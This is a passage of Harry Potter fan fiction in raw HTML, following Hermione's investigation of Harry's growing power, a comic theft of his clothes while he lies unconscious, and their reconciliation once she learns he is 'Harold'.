enough.&quot;</p>\n\n<p>Ron looked\nconfused. &quot; Didn&#8217;t Harry have a shielding charm around him when he was\nwith the Veloron?... I mean he can&#8217;t be stronger than you, can he?&quot;</p>\n\n<p>&quot; He\nmight be. Remember, he&#8217;s the one that&#8217;s been fighting off Vold...&quot; Ron\nshivered, &quot; I mean You-Know-Who, for ages. I know, we had a hand in it in\nthe first year, but we really did nothing else other than help him on the way.\nHe&#8217;s the one that faced Vold...You-Know-Who... alone. He&#8217;s got to be strong to\nsurvive those attacks... not to mention he threw off two of the Imperius\ncurses, before he was even 15 and he stood up to Cruciatus curse....\nThen...&quot;</p>\n\n<p>&quot; I get\nit. I get it. He&#8217;s strong.&quot;</p>\n\n<p>&quot; Wait...\nI&#8217;ll cast mine first and then when I tell you, you&#8217;ll cast yours. I&#8217;ll only get\nthat...&quot; she pointed to the white cloth on top a pedestal near the cage,\n&quot; white covering...&quot;</p>\n\n<p>&quot; I think\nI should go...&quot; offered Ron.</p>\n\n<p>&quot; No...\nYour shield won&#8217;t be strong enough.&quot;</p>\n\n<p>&quot; You\ncast a shielding charm on me then&quot;</p>\n\n<p>&quot; No...\nShielding charms are stronger when the person casting it is close by. That&#8217;s\nwhy..&quot;</p>\n\n<p>&quot; I\nknow...&quot; interrupted Ron, &quot; If we go together, then the charm is gonna\nbe stronger.&quot;</p>\n\n<p>&quot; But\nthen there would be no one to get help is anything happens to one of\nus...&quot; Ron looked rather glum, she kissed him on the cheek and said, &quot;\nThanks for the offer anyway. I&#8217;m going...&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione&#8217;s\nbody was for a short time enveloped in a shimmering blue glow, before another\nlayer of the same glow covered her, though this one was much lighter.</p>\n\n<p>&quot; Good\nluck&quot; said Ron.</p>\n\n<p><b>Few minutes\nlater...</b></p>\n\n<p>&quot; I can&#8217;t\nbelieve we made it!&quot; said Ron, huffing, &quot; Did...did..you get...\nit?&quot;</p>\n\n<p>&quot; Yes!...\nthat was a big rush!... Can you believe it!...&quot;</p>\n\n<p>&quot; I\ncan... The way it was doing...&quot;</p>\n\n<p>&quot; yeah\nand then it...&quot;</p>\n\n<p>&quot; yeah...\nthen the fire...&quot;</p>\n\n<p>Whatever Ron\nand Hermione were talking about only they understood it. They went to the small\nbridge, which went over the small stream and sat down. They sat there a while\ncatching up on their breath and contemplating what had happened a few minutes\nago.</p>\n\n<p>Hermione\nmanaged to get the cloth, but her curiosity got the better of her. She actually\nstarted to head for the mother Veloron. Cuddles as Hagrid called it, Scaly its\nreal name. Sufficed to say, when Hermione was a bit too close for the\ncreature&#8217;s comfort, it fired a small ball of fire. It missed her by a mile, but\nit was enough to make Hermione realize that she should not treat the situation\nlightly. When Hermione reached Ron&#8217;s location, making sure to carefully avoid\nthe fireballs, the two of them took off. </p>\n\n<p>&quot; So what\ndid you want to get that dinky little cloth for?&quot;</p>\n\n<p>&quot; I\nwanted to check something...&quot;</p>\n\n<p>&quot; What?&quot;</p>\n\n<p>&quot;\nRemember, the white cloth that the Veloron cage had on top of it, when Hagrid\nbrought it out the first day we had our class with him?&quot;</p>\n\n<p>He did, so he\nnodded and said, &quot; Yeah...so what?&quot;</p>\n\n<p>&quot; Well,\nafter the incident with the Neville fainting, Hagrid asked me to put a charm on\nit to make it stick on to the cage.&quot;</p>\n\n<p>&quot; So?\n...Where are you going with this?&quot;</p>\n\n<p>&quot;\nYesterday when we showed up in class, the cloth was on the ground and Harry was\nin front of the cage.&quot;</p>\n\n<p>&quot; Ohhhh!...\nyou mean he broke your charm?... He broke your CHARM!&quot; exclaimed Ron.</p>\n\n<p>Harry being\nstrong is one thing, but breaking another wizard&#8217;s magic takes an awful lot of\npower. Specially, something that he was sure could not be removed using a\nsimple &quot;Finite incantem&quot; spell.</p>\n\n<p>&quot; Either\nthat or I did not word my charm properly.&quot; Ron looked at her astonished.\nHermione had just admitted that done a spell wrong. It was almost as if Christmas\nhad come early for Ron. </p>\n\n<p>&quot; But all\nyour charms are done perfectly...aren&#8217;t they?... I mean I remember trying to\nbreakaway from the bodybind curses. I never managed to come close to\nit...&quot;</p>\n\n<p>&quot; Dunder\nhead, didn&#8217;t you listen to what said?..I said I did not word my charm right. I\ndid not say that I did not do the spell right.&quot;</p>\n\n<p>&quot; There&#8217;s\na difference?&quot;</p>\n\n<p>&quot; Yes!...\nWait!&quot; said Hermione as she started to examine the cloth&#8217;s every stitch\nand every stain. &quot; Just as I suspected...&quot;</p>\n\n<p>&quot; What?&quot;\nasked Ron very eager.</p>\n\n<p>&quot; Harry&#8217;s\nmagical powers are growing...&quot;</p>\n\n<p>&quot; Really?&quot;\nRon was outraged, but he did an exceptionally good job of hiding it. </p>\n\n<p>&quot; You\nknow what else?&quot;</p>\n\n<p>&quot; What?&quot;\nasked Ron knowing he would regret asking the question.</p>\n\n<p>&quot; I think\nit&#8217;s just the beginning... I think he&#8217;s slowly becoming as strong as\nVoldemort....&quot; Ron flinched, &quot; oops&quot;</p>\n\n<p>&quot; That&#8217;s\nokay...&quot; he said feeling queasy at the name, &quot; How can you\ntell?&quot;</p>\n\n<p>&quot; Look\nhere...&quot; she pointed to a small green stain on the towel. When Ron looked\nclosely, it turned out to be a small green eye. It was eerie and it shimmered\nfrom time to time.</p>\n\n<p>&quot; What\nthe hell is that?&quot;</p>\n\n<p>&quot; It&#8217;s\nthe sign that the curse was broken forcibly... that&#8217;s Harry&#8217;s mark.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>After lunch\nHermione had Herbology and Runes class and after that she had her extra class\nof Muggle Studies. Most of the time that she had free, that day, she spent it\nreading the events that shaped the battle. This time however, there was a lot\nof more interesting information before she stumbled onto another long section\nof boring information. Some very interesting information came to light.</p>\n\n<p>Things like\nhow the author and Harry first met.</p>\n\n<p><i>It had been\na humid day. All day long I was expecting something big to happen. Nothing did.\nNothing like what I was expecting anyway. I was sitting outside my house, when\nI saw a couple of local boys beating up another one. He was lighter in color.\nHe was desperately trying to fight back with what little he knew. I knew the\nlocal boys, they went around and beat up people from the other clans and\nfreemen. Normally I never took stock of what they did, the beating would never\nget any further than first blood. This one was different. As harsh as it seems,\ntimes were hard, and I did not get involved. </i></p>\n\n<p><i>He was a\nstranger in a strange land, and he was being literally killed on the footpath,\nbecause no one dared to speak up for a freeman. I approached the youths and\ntold them to leave him be. They obeyed. They obeyed not because I was\nrespected, but because they were afraid of me, I had never tried to help anyone\ngetting beaten up.</i></p>\n\n<p><i>This boy,\nthough unconscious began to heal himself. Admittedly rather slowly and not very\nwell. It is not uncommon ability amongst wizards and witches in </i><i>Morocco</i><i>, it&#8217;s very rare\nanywhere else. The only reason he ever made it alive that day was his\nremarkable healing ability. When he awoke, he wanted to get out of the city and\nasked for the direction </i><i>England</i><i> was in. He said he had to get back there. He\nhad a tone of voice that suggested urgency. I told him of the war raging on, he\nbehaved as though he had first heard of it. It was not until much later that he\nasked me, whether I wanted to help him reach his destination, Cartova Mountain\nRange. He never told me why he needed to go there. Not in the time I knew him,\nclose to a year, that is how long it took us to get there while avoiding\nbattles...</i></p>\n\n<p><i>I do admit\nthat I would not have done that if he had not paid me generously. But halfway\nthrough our journey I regretted the fact that I ever took the money. He was an\nenjoyable companion and a very good traveling mate. I paid him back every dime\nof the money before he left my side, to do something that made me proud that I\ntaught him...</i></p>\n\n<p><i>He captured\nShozar Sebastian and brought about the end of a war lasting over five years.</i></p>\n\n<p><i>As we\nprogressed, I taught him how to defend himself. At first I had to get rid of\nthe Tozan variation of the art he knew.... </i>the next few pages had a detailed\ncomparison of how the Tozan and Shoran methods of Septanic Dueling varied.<i>\n(A/N: Though Hermione read through those with great enthusiasm, I won&#8217;t elaborate.)</i></p>\n\n<p>Problems they\nhad....</p>\n\n<p><i>Harold had\na nasty way of getting into trouble when we had to pass through a town.\nSomething about him, drew people to him. Almost at the end of our journey,\nthere were a lot of cases when, a certain girl would pay attention to him and a\nlocal boy thinking that she was his, would cause trouble for Harold. But his\nlack of attention to the girl was one thing that made me think for a while that\nhe did not favor them. It turned out to be untrue, as he told me how his story.\n</i></p>\n\n<p><i>As it\nturned out that the girl he loved was in love with another. His rival and himself\nhad taken part in a competition, in which the boy died. He remembered that when\nhe first found out, how he wanted his rival to be dead. But they had grown\ncloser, helping each other. When he died, he gave up all hope of ever achieving\nlove for that girl.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>The more\nHermione read about Harold, the more that she wanted to know. That night she\nused Harry&#8217;s invisibility cloak to break into the library. She found all the\nbooks she could on this Harold Parker person. Hermione was very disappointed to\nfind that there was very little information on Harold. She went back into her\ndorm room and fell sound asleep... well she had a dream but it was not\nunpleasant. </p>\n\n<p>It was a dream\nof a world without the threat of Voldemort hanging over good people.</p>\n\n<p><b>&nbsp;</b></p>\n\n<p><b>(A/N: The\nnext part is kind of an anecdote... so I talk in it like I was talking directly\nto the reader... It&#8217;s just much more humorous that way.</b></p>\n\n<p>Jessica Abernithy,\nRomano Ketchka, Abby Somerset, Madhu Chopra and Serena Appleby were an odd\nbunch indeed. A Hufflepuff 6th year prefect, A 5th year Ravenclaw Prefect &amp;\nChaser, two seventh year girls and one 6th year Slytherin prefect, though had a\nlot of differences, they had put them aside to achieve one goal. They had\ndevised a plan that involved two of them keeping the headboy occupied, while\nthe other three retrieve the things that they wanted form the unconscious body\nof Harry Potter. It would have had worked too, if it had not been for Alicia\nshowing up when she did, a few minutes before she was supposed to be there.\nThey had managed to get take off all of Harry&#8217;s clothes off, except for his\nboxers. Alicia had shown up, just when they were about to take them off.</p>\n\n<p><i>I know what\nyou are thinking... oh no another story with a Harry Potter fanclub. No, this\nwas not the function of the club. They called themselves the scavengers... well\nthey should have been called that. They had no name for themselves. </i></p>\n\n<p>If you\nworshiped the ground a person walked on, there was a lot of that happening in\nHogwarts, and wanted to get a hold of their personal items (clothes, tooth\nbrush and paste, shaving blades and things like that) for your personal shrine,\nthese were the people to contact. </p>\n\n<p>As odd as it\nmay seem, there were no school rules for stealing other people&#8217;s clothes!\nStealing clothes, and other accessories were fine. They had a variety of ways\nto obtain what they wanted, and at the moment there was a great deal of demand\nfor anything that had been worn by Harry Potter. At the beginning of the TriWizard\nTournament championship it was Cedric&#8217;s clothes that were in hot demand. They\nhad used one of Cedric&#8217;s roommates, back then.This was business, though all of\nthem agreed getting a snapshot of a totally nude Harry Potter could be worth a\nlot of money to them. For this reason Serena had also brought along her camera.</p>\n\n<p>&quot; What\nthe hell do you think you&#8217;re doing?&quot; yelled Alicia.</p>\n\n<p>The girls had\nnot expected Alicia to show up. Serena pointed her camera at Alicia and made it\nflash a few times at her. Disoriented and severely handicapped Alicia was in no\ncondition to see anyone, let alone stop them from escaping.</p>\n\n<p>&quot; Get\nback here!... you...you...&quot; said Alicia, before she started to firing\nrandom curses down the hallway, still blinded by the flash.</p>\n\n<p>It took her\nseveral minutes to recover. In that time she used her wand to make it pour\nwater, which she used then to keep washing her eyes. Once she was okay, she\nwent to check on Harry. She was not sure, who the people she saw, but she knew\nthat they were girls. &#8216; Must be his fan club &#8216; she thought.</p>\n\n<p>Once she saw,\nthat the girls had removed every, single piece of clothing off Harry, leaving\nhim only in his boxers, she blushed furiously. She didn&#8217;t think it was\nappropriate for her to see him like this, so she quickly covered him up with\nthe blanket. Since Harry was with even less clothes than before she thought\nthat she should get another blanket to compensate for that. So she went to the\nnext bed and picked up the blanket from there and covered him up. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry felt\nbruised and battered when he awoke early on Saturday morning. Sleepy eyed, he\nlooked out of his bed. Early morning gave him the impression that it was still,\nthe same day as when he had fainted. Without his glasses, he could not see\nclearly. He sat up on the bed with much effort, began to search for his glasses\non the table next to the bed. From the corner of his eye, he saw a green blob\nappear at the doorway. It looked at him, and then headed for where Madam Pomfrey&#8217;s\noffice was. Harry guessed someone had come to get something looked at. Harry\nthen started to think about what he remembered about his dream. Voldemort... Karakauff...\nSnape! (must be on some kind of mission...)... Professor Dumbledore and the\npainful lightning... Then he thought he remembered two voices talking, but he\nwas not sure.</p>\n\n<p>&quot; ahme...&quot;\nsaid a very feminine voice.</p>\n\n<p>&quot; huh?\nWho is it?&quot; Harry squinted his eyes.</p>\n\n<p>&quot; It&#8217;s\nme... Alicia&quot;</p>\n\n<p>&quot; What\nare you doing here?...don&#8217;t you have dinner now?&quot;</p>\n\n<p>&quot; Dinner?&quot;\nshe laughed, &quot; Why would I have dinner at six thirty in the morning?&quot;</p>\n\n<p>Harry looked\nout the window and sure enough, he could see that the sun had risen a bit more\nin the sky.</p>\n\n<p>&quot; I slept\nfor an entire day? Wow!&quot;</p>\n\n<p>Alicia\ngiggled, &quot; One day! No, you slept for two! All day yesterday and the day\nyou fainted.&quot;</p>\n\n<p>&quot; By\nMerlin&#8217;s beard! It must be Saturday now then! Todays&#8217; the Quidditch tryouts\nright?&quot;</p>\n\n<p>&quot; Yeah...\nHey! I brought some of your things for you.&quot;</p>\n\n<p>&quot;\nPresents?&quot;</p>\n\n<p>&quot; err\nno...&quot; she started to things out of her bag and put them on the table next\nto Harry&#8217;s bed, &quot; One trouser, one shirt, &quot; she blushed and squeaked\nout the rest, &quot;um... clean underwear...., toothpaste, toothbrush aaannnd...&quot;\nthe last word extended beyond what it was supposed to be, as she got something\nout of her bag. It was Harry&#8217;s glasses. She unfolded them and put them on\nHarry. &quot;... Your glasses.&quot;</p>\n\n<p>&quot; Thank...&quot;said\nHarry, he felt a lump in his throat. </p>\n\n<p>He croaked out\nsomething that Alicia could just barely make out. Harry had politely asked her,\nwhy she had his glasses?, since the last time he remembered, he had them on\nbefore fainting. Alicia rather reluctantly told him about what had happened the\nday before. When she told him about being in his boxers only, he quickly\nchecked under the blankets, to make sure, he was not missing that too. </p>\n\n<p>&quot; Okay...\nI&#8217;ll leave you to get dressed and then we&#8217;ll take a walk. I already asked Madam\nPomfrey, I suspected you&#8217;d want to leave as soon as possible. She wants you to\ncome back and see her again in the evening... something about a last check\nup.&quot;</p>\n\n<p>&quot; Okay.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>After Alicia\nwent outside, Harry quickly went into the toilet. He wanted so much to find out\nwhat had happened in the time that he was asleep that he could not wait. In his\nhurry, Harry forgot his wand. He quickly retrieved the wand from the bedside\ncabinet and went back into the toilet. Before he did anything else, he made\nsure he got rid of the five o&#8217;clock shadow that he had acquired. He said a word\nand the tip of his wand glowed a purple colour, which changed to an orange when\nit made contact with Harry&#8217;s face. As the tip glided over his skin the stables\ndisappeared. Once fully dressed, he went out of the hospital wing with Alicia\nby his side.</p>\n\n<p>&quot; So,\nwhere do you want go?&quot; she asked.</p>\n\n<p>&quot; I just\nwant to walk a bit. I feel really tired. I think I haven&#8217;t had anything to eat-\ndid I?&quot;</p>\n\n<p>&quot; err...no,\nI suppose not!&quot;</p>\n\n<p>&quot; Oh...\nOkay, how about if we go to breakfast then. I think it&#8217;s...&quot; Harry looked\nto where his watch was. It was not there. &quot; Well looks like I don&#8217;t have\nwatch. What time is it?&quot;</p>\n\n<p>Alicia checked\nher watch and said, &quot; about seven. I think the hall is full now.&quot; She\nstopped and asked, &quot; You sure you want go in? There&#8217;s bound to be a lot of\npeople there&quot;</p>\n\n<p>Harry thought\nfor a second and said, &quot; Yes! I&#8217;m very sure. I would have to face them\neventually. Better now then later.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>When they\nentered the great hall, every pair of eyes was on the pair. After a full\nminute, in which time no one dared to even breathe, except for most of the Slytherins\neveryone there rushed to where Harry was. It was almost half an hour before\nHarry could have his breakfast. He answered a variety of questions regarding\nthe incident. Everything from if and what he had dreamed to if it hurt, how\nbad, what he saw when he woke up. Harry was never so glad to see Professor\nSnape enter the great hall. He threatened to take of points from all the\nhouses, which got the attention of all the house prefects. </p>\n\n<p>Alicia and the\nrest of them that were present busily moved the crowd back to their respective\ntables. Ron was the only person left there. Harry looked around for Hermione,\nbut could not see her. &quot; She&#8217;s not here yet.&quot; said Ron, correctly\nguessing what his friend was searching for.</p>\n\n<p>&quot; Oh!&quot;\nHarry was disappointed and did not hide it. He had hoped that him being close\nto death she might have had been more receptive to him, but since she was not present,\nhe couldn&#8217;t be sure how she would react to him. Ron was happy to see his friend\nagain, he took Harry&#8217;s hand and shook it, as he clapped Harry&#8217;s back.</p>\n\n<p>&quot; Let&#8217;s\nhave something to eat&quot; said Ron, guiding Harry to the table.</p>\n\n<p>&quot; Yeah.\nWe can catch up in while we&#8217;re doing this&quot;</p>\n\n<p>&quot; Okay...\nyou&#8217;ll love it. The house elves have done something to these sausages... they\ntaste even better they usually do.&quot;</p>\n\n<p>Ron sat down\non the opposite side of Harry on the table, while Harry took the seat next to\nAlicia. &nbsp;&quot; So...&quot; Harry looked expectantly at Ron, &quot; What have I\nmissed so far?&quot;</p>\n\n<p>&quot; Well...&quot;\nbegan Ron, &quot; You missed the breakfast on Thursday, so I&#8217;m guessing you\nstill don&#8217;t know about Lee Jordan.&quot;</p>\n\n<p>Harry was\nconfused. He looked around the table and when he did not see him, he\nimmediately assumed that something was wrong. &quot; What happened? Is he ok? Did..Did\nVolde- I mean You-Know-Who get him? Was there an attack on...&quot;</p>\n\n<p>&quot; Hey...hey!&quot;\nsaid Alicia patting him on the back, &quot; Relax. It&#8217;s nothing serious-&quot;</p>\n\n<p>&quot; Nothing\nserious!&quot; exclaimed Ron, &quot; I beg to differ. Snape has ousted him,\nfrom his commentating duties. The best commentator we&#8217;ve had for years...and\nnow he&#8217;s gone.&quot;</p>\n\n<p>&quot; It&#8217;s a\nshame. Where is he? He must be heart broken.&quot; Asked Harry. Knowing that\nLee had as much enthusiasm for the game, as anyone that he knew.</p>\n\n<p>&quot; He&#8217;s\nbeen sulking around.&quot; Said Ron.</p>\n\n<p>&quot; Yeah,\nRight!&#8221; Alicia snorted. &#8220; He&#8217;s been taking full advantage of the situation and\nhe&#8217;s getting any girl who would listen to him, to &#8216;comfort&#8217; him. I think in the\nlast two days he&#8217;s managed to get himself dates until the end of this\nterm.&quot;</p>\n\n<p>This\ninformation brought a smile to his face. &quot; Ok... what else?&quot;</p>\n\n<p>&quot; Well...\nremember, just before you fainted how Malfoy had hit Hagrid with that spell\nthat made him fly backwards&quot; </p>\n\n<p>Harry nodded.</p>\n\n<p>&quot; Well,\nhe&#8217;s been punished.&quot;</p>\n\n<p>&quot; How? Expelled?&quot;\nHarry desperately hoped that would happen.</p>\n\n<p>&quot; No...&quot;\nsaid Ron, barely containing his laughter, &quot;He&#8217;s...He&#8217;s ....&quot;</p>\n\n<p>Ron tried\nseveral times, but he could not finish the sentence because, he burst into\nlaughter and started to roll around on the ground.</p>\n\n<p>&quot; What?&quot;\nHarry asked.</p>\n\n<p>Alicia came to\nRon&#8217;s rescue. &quot; He&#8217;s been punished to clean the Prefects toilets&quot;</p>\n\n<p>&quot; So...&quot;\nHarry really did not think that cleaning the prefects&#8217; toile was really that\nmuch of a punishment. </p>\n\n<p>&quot; Well...&quot;\nAlicia giggled, &quot; Harry, He&#8217;s been sentenced to clean the old prefects\nbathroom. Myrtle&#8217;s been flooding that entire section of the castle since the\nmiddle of last year. She keeps saying something about a boy.... he has to clean\nthe toilet...&quot; Harry&#8217;s face darkened slightly, before he heard that Malfoy\nhad to clean the toile. He smiled, &quot; with...with... I can&#8217;t say\nit...&quot; Alicia started to shake with laughter.</p>\n\n<p>&quot;\nToothpick!&quot; said Ron, taking a split second to finish off Alicia&#8217;s\ncomment, before he resumed his rolling on the ground. Harry burst into laughter\nas well. It was too much for him to keep his laughter in when he heard the word\ntoothpick.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione had\nspent the last hour, before the breakfast, convincing Parvati to take part in\nthe Quidditch tryouts. In the end, Parvati agreed, if only to shut up Hermione.\nWhen Hermione reached the great hall, flanked by Parvati and Lavender, she saw\nHarry. All the guilt that she felt suddenly overcame her mind and she forgot\nall about what she wanted to do. Apologize to Harry. She ran, leaving Parvati\nand Lavender wondering what was it that made her do this. Until they saw Harry,\nRon and Alicia in a fit of laughter, it did not make sense to them. By the time\nthey realized it, Hermione was long gone.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry saw from\nthe corner of his eyes, Hermione, he stopped laughing. Alicia noticed this. She\nleaned closer to Harry, after she stopped laughing, and said, &quot; Go after\nher. I think, she&#8217;ll listen now.&quot;</p>\n\n<p>&quot; You\nthink so!&quot;</p>\n\n<p>&quot; I know\nso.&#8221; Alicia said in a all knowing kind of way. &#8220; If she doesn&#8217;t tell her that,\nI said hello. She&#8217;ll know what I mean.&quot;</p>\n\n<p>&quot; Huh?&quot;</p>\n\n<p>&quot; Don&#8217;t\nworry about it. Just go!&quot; she urged him.</p>\n\n<p>&quot; Okay...\nRon. I got to go...&quot;</p>\n\n<p>&quot;\nWhatever...&quot; Ron was still on the ground rolling with laughter. He did not\neven notice the strange looks that he was getting from the passing students.</p>\n\n<p>&nbsp;</p>\n\n<p>The last time\nHarry had made the mistake of not looking in the library, this time he made it\nhis first stop. Unfortunately, Hermione was not there. Harry quickly moved\ntowards the Gryffindor common room. He went into his room and started to look\nfor the &#8216;Marauders Map&#8217;. He found it under his Invisibility cloak. </p>\n\n<p>&#8216; Odd... I\nremember putting it under the broomstick caring kit...&#8217; Harry stopped thinking\nabout the fact that someone might have had used his cloak or the Marauder&#8217;s\nmap, when he saw the caring kit. It was a gift from Hermione and it reminded\nhim of her. He whispered, &quot; I solemnly swear that I&#8217;m up to no good.&quot;</p>\n\n<p>The brown\npiece of parchment started to fill with lines and dots. He found the Dot named\n&quot;H. Granger&quot; in their transfiguration room, the room that only he and\nshe could access amongst the students.</p>\n\n<p>&#8216; Perfect\nplace to be alone...&#8217; </p>\n\n<p>Harry made the\nmistake of leaving the Marauder&#8217;s map, which made it hard for him to navigate\nthrough the castle. When he reached the wall and said the password the room\nopened up in front of him, it had been already fifteen minutes. It was only by\nchance that Hermione had decided to stay in the same room. He saw Hermione was practicing\nher stances for the tournament, from the door. There was a pile of books on the\nfloor. Some of them were on Morocco and others were on Martial arts and wizard Dueling. He\nwalked slowly towards her, before he found himself bumping into an invisible\nbarrier. A shielding charm. Hermione&#8217;s shielding charm might not have had been\nthat powerful compared of Harry&#8217;s, but hers was ingenious. It would take Harry\na while to get through it, even though he could sense that only a very small\nfraction of Hermione&#8217;s power was being used to sustain it. She could leave it\nup all day long and she would not be even weak.</p>\n\n<p>&quot;\nHermione we have to talk-&quot; started Harry, but she interrupted him.</p>\n\n<p>&quot; I don&#8217;t\nwant to.&quot; she said, as she pointed her wand at Harry and started to fire\nsmall fireballs directed all around Harry. They left scorch marks wherever they\nhit the wall, but Harry did not move at all when she did that. Either Hermione\nwas a very poors marks woman &#8211; or she didn&#8217;t want to really hit him.</p>\n\n<p>&quot;\nHermione, do you want me to break through the shield and talk to you. Because I\nwill.&quot;</p>\n\n<p>&quot; Try it!&#8221;\nHermione challenged him. &#8220; You can&#8217;t break it.&quot;</p>\n\n<p>Hermione was\nsure of herself, even though she had seen how he broke the seal on the charm that\nshe had placed on the Veloron cage. Hermione focused more on the place where\nHarry was likely to attack and try and break through it. To her astonishment,\nHarry did not try to use any spells to break through it.</p>\n\n<p>Harry walked\nright up to the shield, and started to push the barrier with his two hands.\nHermione could suddenly feel pressure building up on herself. She knew not the\nreason this was happening. She knew not, what Harry was doing. She had to bring\nthe shield closer to herself, so that the pressure that built up would be\nrelieved slightly. She was so busy bring in the shield closer to herself and\nstrengthening it, she did not realise how close Harry was, until they were\nalmost nose to nose. Suddenly noticing Harry in front of her face, Hermione panicked\nand dropped the shield for a split second.</p>\n\n<p>It was all the\ntime Harry needed to pin her to the ground. Harry was grinning. &quot; Now...\nWill you listen to me?&quot;</p>\n\n<p>&quot; Lemme\ngo!&quot; she squirmed under him</p>\n\n<p>&quot; No. You\nhave to listen to me.&quot; His voice conveyed his mood. Grim determination, &quot;\nPlease listen to me... it&#8217;s important.&quot;</p>\n\n<p>Hermione\nlooked at Harry&#8217;s face and she noticed something that she had not before. He\nlooked just like... &quot; Oh! My God!... It&#8217;s you isn&#8217;t it?&quot;</p>\n\n<p>&quot; Who?\nWhat?&quot; his grip on her loosened. Hermione took the opportunity to try and\nfree her arms and legs. It did not work. Harry had a hold of her that was\nalmost impossible to break. Not unless Harry moved and he knew that. So he did\nnot move.</p>\n\n<p>&quot; It&#8217;s\nyou... you&#8217;re Harold! I can&#8217;t believe that! You little...&quot; Hermione\nsearched for a name to call Harry, but she could not find anything.</p>\n\n<p>&quot; Oh\nthat! Yes... That&#8217;s what I was going tell you!&quot;</p>\n\n<p>&quot; When?...\nafter the end of the year... when we graduate?&quot;</p>\n\n<p>&quot; No!&#8221;\nHarry was determined in his conviction. &#8220; On Wednesday. If you hadn&#8217;t blown up\non me, I would have had told you then!&quot; Harry moved and let go of her,\nbefore standing up.</p>\n\n<p>Hermione&#8217;s\nface colored.</p>\n\n<p>&quot; Look...&quot;\nHarry said, offering his hand to her.</p>\n\n<p>&quot; Thanks.&quot;\nShe said, as she took it.</p>\n\n<p>&quot; you&#8217;re\nwelcome... Look... I wanted to tell you from the beginning. I thought I was going\nto tell you today on the first day back, but when I saw how deeply you were\nthinking in history class, well I thought that I better tell you sooner than\nthat. Then you get mad at me for beating you in Charms and then...&quot;</p>\n\n<p>&quot; That&#8217;s\nnot why...&quot; Hermione interrupted.</p>\n\n<p>&quot; Huh?&quot;\nHarry was confused. He had thought Hermione was jealous of him. Though, if what\nhe thought Hermione had meant, then that would mean Hermione was never jealous\nof him. This news was a welcome. But then he had no idea what the real reason\nfor it could be then. </p>\n\n<p>Harry saw a\nbrown flash, before Hermione clamped onto him, making it almost impossible for\nhim to breathe. &quot; Oof&quot; he cried. When he got a chance at looking at\nher face, he was surprised to see that Hermione had a silent tear running down\nher cheek. They had gone slightly pink, because of how flustered she felt. He\nput his hand on her cheek and wiped the tear away. &quot; Why are you\ncrying?&quot;</p>\n\n<p>&quot; Harry...\nplease forgive me...&quot; she looked up to his confused face.</p>\n\n<p>&quot; For\nwhat?&quot;</p>\n\n<p>&quot; For\ngetting mad at you... for pushing you to the ground... for making you think\nthat I didn&#8217;t like you as a friend anymore...for trying to make you break\nthrough the shield...for...&quot;</p>\n\n<p>&quot; That&#8217;s\nok... I was never mad at you...&quot; Hermione made a face at him, &quot; Okay...\njust a little, but its okay now.&quot; He stroked her hair, before very unlike\nhim he hugged her back. </p>\n\n<p>&quot; No... that&#8217;s\nnot why I was really upset. You see Parvati explained it to me.&quot;</p>\n\n<p>&quot; She\ndid...&quot; said Harry, &quot; It wouldn&#8217;t be along the lines of you being in\nlove with me would it&quot; he said, wanting to avoid that area of discussion.\nHe felt for her as the sister that he never had and besides there was Ron who\nreally liked her. </p>\n\n<p>Hermione\npushed Harry away, like suddenly he smelled of garbage, &quot; No!...&quot;</p>\n\n<p>&quot; Good. &#8216;cause,\nI don&#8217;t think I can go another year of that hanging over my head. Remember last\nyear, after Rita&#8217;s article...No offence, but I only like you as a friend&quot;</p>\n\n<p>&quot; I&#8217;m\nheart broken!&quot; Hermione faked being hurt, &quot; No... it&#8217;s because, I\nthough you wouldn&#8217;t need me to be you friend anymore. I was the one who always\nwas the smart one in the group, and now that you could be just as good as me, I\ndidn&#8217;t think you&#8217;d like to be my friend anymore...&quot;</p>\n\n<p>Harry\ninterrupted, &quot; That&#8217;s not the reason that I befriended you! When you go\nthrough something like what happened on that Halloween of the first year... you\nbecome friends. You can&#8217;t help it. You&#8217;ve stuck by me at the end of that year\nand gave me strength to face Voldemort, granted that you would not have had\nbeen expelled because of your charms high mark, but you still took a chance\nwith your life to help us. You were the one, who got petrified because, you\nfigured out that the basilisk was the one hurting people. You were the one that\nwas with me when we saved Snuffles and Buckbeak. But you did the most for me in\nmy fourth year...</p>\n\n<p>Harry avoided\nusing the word, &quot;last year&quot;, because to Harry his fourth year was\nalmost a year ago.</p>\n\n<p>&quot; ...you\nwere the only person, in the whole school, who believed that I did not put my\nname in the goblet. You believed me when the entire school didn&#8217;t- wait, I said\nthat already. You believed me when Ron didn&#8217;t. Because of me you have to share\nthe pain that I go through every time I have a dream involving Voldemort.\nBecause of me you life is always in danger. I can&#8217;t ask anything more from you,\nif I wanted to.&quot;</p>\n\n<p>Hermione\nhugged him again. This time she didn&#8217;t let go until Harry started to wheeze,\nbecause of the lack of air.</p>\n\n<p>&quot; My life\nis not in danger because of you. If it weren&#8217;t for you and Ron I would be dead\nand buried now. The shared nightmares... you have a very selective memory. You\nseem to forget that I told you that, it was a very small price for what I&#8217;m\ncapable of doing now. By the way when are we going get to astralproject?&quot;</p>\n\n<p>&quot;err...\nI&#8217;ve tried to do that several time, but it&#8217;s really hard. I can&#8217;t even get out\nof my own body. I&#8217;ll try a lot harder from today... but it might be a while\nbefore we can do it again. Even after I can get out, I have to go to you room\nand then....&quot;</p>\n\n<p>Harry\nabsentmindedly pushed Hermione&#8217;s glasses up her nose, as they were dangerously\nclose to the end of her nose and ready to fall at a second&#8217;s notice.</p>\n\n<p>&quot;.. I\nhave to...&quot;</p>\n\n<p>&quot; I get\nthe point Harry.&quot;</p>\n\n<p>&quot; Well,\nWhat do we do now?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; You&#8217;re\ntelling me exactly want happened after you apparated with that horrid\ncreature&quot;</p>\n\n<p>&quot; it&#8217;s\npretty grim and there&#8217;s a lot of blood and violence in there. You might not\nwant to know about it...&quot;</p>\n\n<p>&quot; I&#8217;m not\na baby and... &quot; Hermione stopped in the middle of her sentence and asked, &quot;\nHarry?&quot;</p>\n\n<p>&quot; Hmm?&quot;</p>\n\n<p>&quot; how\nlong were you in Morocco. The books vary. One says that you were there for three years and\none says that you were there for only three months. How old are 